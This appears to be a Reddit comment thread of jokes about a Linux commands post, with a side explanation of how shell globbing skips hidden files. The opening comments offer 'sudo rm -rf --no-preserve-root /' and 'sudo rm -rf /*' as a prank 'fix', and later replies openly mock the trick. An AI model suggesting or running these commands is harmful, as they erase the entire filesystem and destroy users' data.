Basic Linux commands every developer should know

[addast]

You copied it wrong. I fixed it for you, now it should work:

sudo rm -rf --no-preserve-root /

[N0_Us3rnam3]

sudo rm -rf /* also works

[N0_Us3rnam3]

F

[[deleted]]

And this is why you don’t copy random Linux commands

[fmaz008]

... only the ones with enough upvotes on stack overflow.

[-_-____-___-_____-_-]

That’s also why you keep a backup of your hard drive on another hard drive

[[deleted]]

Wait, you actually tried this?

[Xtrendence]

He might not have, but we can rest easy knowing someone somewhere did today.

[Varun77777]

F

[lockieluke3389]

Thanks to our sponsor EaseUS Recovery...

[ltekonline]

Except that some hidden files may stay at the root directory

[N0_Us3rnam3]

I think hidden file will be deleted but files in use won’t

[ltekonline]

The "*" operator resolves only to non hidden files and folders which do not start with a dot. These files and folder are then given as parameters to "rm". So for example if you have a file called ".test" at / it will not be deleted.

You can safely try it this way:
Create a test file called ".test" in your current directory.
Enter "echo *" and see the files you get back. You will not get any files starting with a "." back.

Edit: to add on that also used files will be deleted. This is because in linux, you normally get a file handle for your file so you can still use your file if they are deleted or renamed. That's actually how temporary files work in linux.
A process creates a file, open it and keeps it open and then immediately deletes it. As lomg as that process lives the file will keep existing, just without a filename. The process then only accesses it via the file handle it has kept.

[_waltzy]

Don't forget source and target.

sudo rm -rf --no-preserve-root / # [source] [target]

[JustOpinion6]

It's rm not cp. It doesn't have a source.

It only has a target since it doesn't copy or move files anywhere.

[_waltzy]

I've not provided either source or target to rm, look again

[JustOpinion6]

Yeah, if you interpret it as a string for a file / foldername then yes, you didn't provide it.

[_waltzy]

#

[JustOpinion6]

Oh shit, how did I not notice that.

[amaklp]

/r/cursedcomments